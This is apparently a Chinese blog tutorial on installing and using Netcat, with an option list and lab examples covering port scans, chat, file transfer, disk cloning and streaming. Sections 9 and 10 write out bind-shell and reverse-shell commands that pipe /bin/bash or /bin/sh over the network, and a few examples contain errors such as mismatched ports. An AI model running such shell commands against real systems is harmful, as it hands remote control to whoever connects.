Netcat下载、安装、使用教程(详解)

Netcat简称nc,netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据,通过与其它工具结合和重定向,你可以在脚本中以多种方式使用它,使用netcat命令所能完成许多让人惊讶的事情。其它的简介我就不多说了。

 

Netcat下载与安装

注意:Ncat与Nmap集成在一起,可从Nmap下载页面获得的标准Nmap下载软件包(包括源代码以及Linux,Windows和Mac二进制文件)中获得。

 

Linux版本下载地址:https://nmap.org/ncat/

Windows版本下载地址:http://nmap.org/dist/ncat-portable-5.59BETA1.zip

 

有关Netcat安装这里我就不讲了,Linux下很多都自带nc命令。Windows安装就更加的简单了,不用我多费口舌。

 

Netcat命令使用方法

由于nc命令使用方法很多,下面我就给大家介绍一下,希望能帮助到大家!

 

用法:

ncat [选项] [主机名] [端口]

 

花费时间的选项以秒为单位。 附加“ ms”毫秒,“ s”表示秒,“ m”表示分钟,或“ h”表示小时(例如500ms)。

 

-4    仅使用IPv4

-6    仅使用IPv6

 

-U, --unixsock 仅使用Unix域套接字

--vsock 仅使用vsock套接字

 

-C, --crlf 将CRLF用于EOL序列

-c, --sh-exec <command> 通过/bin/sh执行给定命令

-e, --exec <command> 执行给定命令

--lua-exec <filename> 执行给定的Lua脚本

 

-g hop1[,hop2,...] 松散的源路由跳跃点(最大8个)

-G <n> 松散的源路由跳跃指针(4、8、12,...)

-m, --max-conns <n> 最大<n>同时连接

-h, --help 显示此帮助屏幕

-d, --delay <time> 在读/写之间等待时间

-o, --output <filename> 将会话数据转储到文件中

-x, --hex-dump <filename> 将会话数据以十六进制形式转储到文件中

-i, --idle-timeout <time> 空闲读/写超时时间

-p, --source-port port 指定要使用的源端口

-s, --source addr 指定要使用的源地址(不影响-l)

-l, --listen 绑定并监听传入的连接

-k, --keep-open 在侦听模式下接受多个连接

-n, --nodns 不通过DNS解析主机名

-t, --telnet 回答Telnet协商

-u, --udp 使用UDP代替默认TCP

--sctp 使用SCTP代替默认TCP

 

-v, --verbose 使用SCTP代替默认TCP

-w, --wait <time> 连接超时时间

 

-z   零I/O模式,仅报告连接状态

--append-output 附加而不是破坏指定的输出文件

--send-only 仅发送数据,忽略接收;退出EOF

--recv-only 仅接收数据,从不发送任何内容

--no-shutdown 在stdin上收到EOF时继续半双工

--allow 只允许给定的主机连接到Ncat

--allowfile 允许连接到Ncat的主机文件

--deny 拒绝给定主机连接到Ncat

--denyfile 拒绝连接到Ncat的主机文件

--broker 启用Ncat的连接代理模式

--chat 启动一个简单的Ncat聊天服务器

--proxy <addr[:port]> 指定要通过其代理的主机的地址

--proxy-type <type> 指定代理类型 ("http", "socks4", "socks5")

--proxy-auth <auth> 使用HTTP或SOCKS代理服务器进行身份验证

--proxy-dns <type> 指定解析代理目标的位置

--ssl 使用SSL连接或监听

--ssl-cert 指定用于侦听的SSL证书文件(PEM)

--ssl-key 指定用于侦听的SSL私钥(PEM)

--ssl-verify 验证证书的信任和域名

--ssl-trustfile 包含受信任SSL证书的PEM文件

--ssl-ciphers 包含要使用的SSL密码的密码列表

--ssl-alpn 要使用的ALPN协议列表

--version 显示Ncat的版本信息并退出

 

下面再给大家分享一些简单的例子,希望可以用得上!下面是我本地的模拟环境:

 

A服务器,Kali Linux:192.168.1.105 (基于Debian的Linux)

B服务器,BlackArch:192.168.1.102 (基于Arch的Linux)

 

1、Necat 端口扫描

 

扫描单个端口:

[email protected]:~# nc -zv www.fujieace.com 80

 

扫描多个端口:

[email protected]:~# nc -zv www.fujieace.com 1-1023  #现在这样扫描不行,会提示无效的端口号

 

2、Necat 连接与监听

 

在TCP / UDP端口上监听

[email protected]:~# nc -l 1576    //监听1576端口来接受客户端的连接

 

连接到TCP / UDP端口

[ blackarch ~]# nc 192.168.1.105 1576 //启动客户端打开连接 

 

3、Netcat 聊天

现在的聊天交流工具很多。但是,有时候在一些特殊的环境下,需要沟通怎么办?Netcat提供了这样一种方法,你只需要创建一个简单的聊天服务器,一个预先确定好的端口,这样子你们就可以相互交流了。

 

服务端输入命令:

[email protected]:~# nc -l 1576

 

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1576

 

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。不管你在自己电脑上输入什么?然后回车,对方电脑都会显示出来。

 

4、Netcat 文件传输

大多数情况下,我们都是通过网络或者其它工具传输文件,例如:FTP、SCP、SMB等等。但是当你只是需要临时或者一次传输文件,去特意配置这些传输软件太麻烦了吧!因此,Netcat就显得很有必要了。

 

1、将A服务器上的 love.grc 文件上传到 B服务器。

 

服务端输入命令:

[email protected]:~# nc -l 1576 < love.grc    上传的文件

 

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 > love.grc   接收的文件,可以重命名

 

2、下面的我们发送文件从B到A,但是服务器创建在A上,把B服务器上的test.zip文件上传到A服务器上去。

 

服务端输入命令:

[email protected]:~# nc -l 1576 > test.zip    接收的文件,可以重命名

 

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 < test.zip   上传的文件

 

5、Netcat 目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

 

1、如果你想要通过网络传输一个目录从A到B,把A服务器的test目录上传到B服务器。

 

服务端输入命令:

[email protected]:~# tar -cvf - test | nc -l 1576

 

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1576 | tar -xvf -

 

这里整个大概思路是:

在A服务器上,我们创建一个tar归档包并且通过 - 在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

 

2、如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

 

服务端输入命令:

[email protected]:~# tar -cvf – test | bzip2 -z | nc -l 1576   #通过bzip2压缩

 

客户端输入命令:

[ blackarch ~]# nc -n 192.168.1.105 1567 | bzip2 -d |tar -xvf -     #使用bzip2解压

 

6、Netcat 加密传送中的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

 

服务端输入命令:

[email protected]:~# nc -l 1576 | mcrypt –flush –bare -F -q -d -m ecb < file.txt    #上传的文件

 

客户端输入命令:

[ blackarch ~]# mcrypt –flush –bare -F -q -m ecb  > file.txt | nc -n 192.168.1.105 1576  #接收的文件,可以重命名

 

7、流视频

nc虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,依然也是一个不错的选择。

 

服务端命令:

[email protected]:~# cat video.avi | nc -l 1567    #从一个视频文件中读入并重定向输出到netcat客户端

 

客户端命令:

[ blackarch ~]# nc 192.168.1.105 1567 | mplayer -vo x11 -cache 3000 -     #从socket中读入数据并重定向到mplayer

 

8、克隆设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

 

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上;

 

服务端命令:

[email protected]:~# dd if=/dev/sda | nc -l 1567

 

客户端命令:

[ blackarch ~]# nc -n 192.168.1.105 1567 | dd of=/dev/sda

 

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

 

9、Netcat 打开一个shell远程管理

一般来说,我们可以使用telnet和ssh命令来打开一个shell远程管理,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

 

1、假设你的netcat支持 -c 、 -e 参数;

 

服务端输入命令:

[email protected]:~# nc -l 1567 -e /bin/bash -i 1

 

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1567

netcat shell远程管理

 

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash;

 

2、假如netcat 不支持-c 或者 -e 参数,我们仍然能够创建远程shell。

 

服务端输入命令:

[email protected]:~# mkfifo /tmp/tmp_fifo
[email protected]:~# cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

 

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

 

客户端输入命令:

[ blackarch ~]# nc 192.168.1.105 1567

 

10、反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

 

服务端命令:

[email protected]:~# nc -l 1567

netcat反向shell

 

客户端命令:

[ blackarch ~]# nc 192.168.1.105 1567 -e /bin/bash

 

11、指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

 

服务端命令:

[email protected]:~# nc -l 1567

 

客户端命令:

[ blackarch ~]# nc 192.168.1.105 -p 25

 

注意:

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

 

12、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

 

服务端命令:

[email protected]:~# nc -u -l 1567 < file.txt

 

客户端命令:

[ blackarch ~]# nc -u 192.168.1.105 1567 -s 192.168.1.110 > file.txt   #该命令将绑定地址192.168.1.110。

 

总结:

nc还有其它用途,例如:

  •     使用-t选项模拟Telnet客户端,
  •     HTTP客户端用于下载文件,
  •     连接到邮件服务器,使用SMTP协议检查邮件,
  •     使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。

    A+
发布日期:2019年10月17日 21:52:33  所属分类:Linux
最后更新时间:2019-10-17 21:52:33
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
付杰
PHP运行环境 wamp lamp lnmp 安装 配置 搭建服务
PHP运行环境 wamp lamp lnmp 安装 配置 搭建服务
  • ¥ 9.9元
  • 市场价:49.9元
wp discux 帝国 dedecms phpcms等快速建站
wp discux 帝国 dedecms phpcms等快速建站
  • ¥ 99.9元
  • 市场价:499.9元
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 9.9元
  • 市场价:49.9元
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: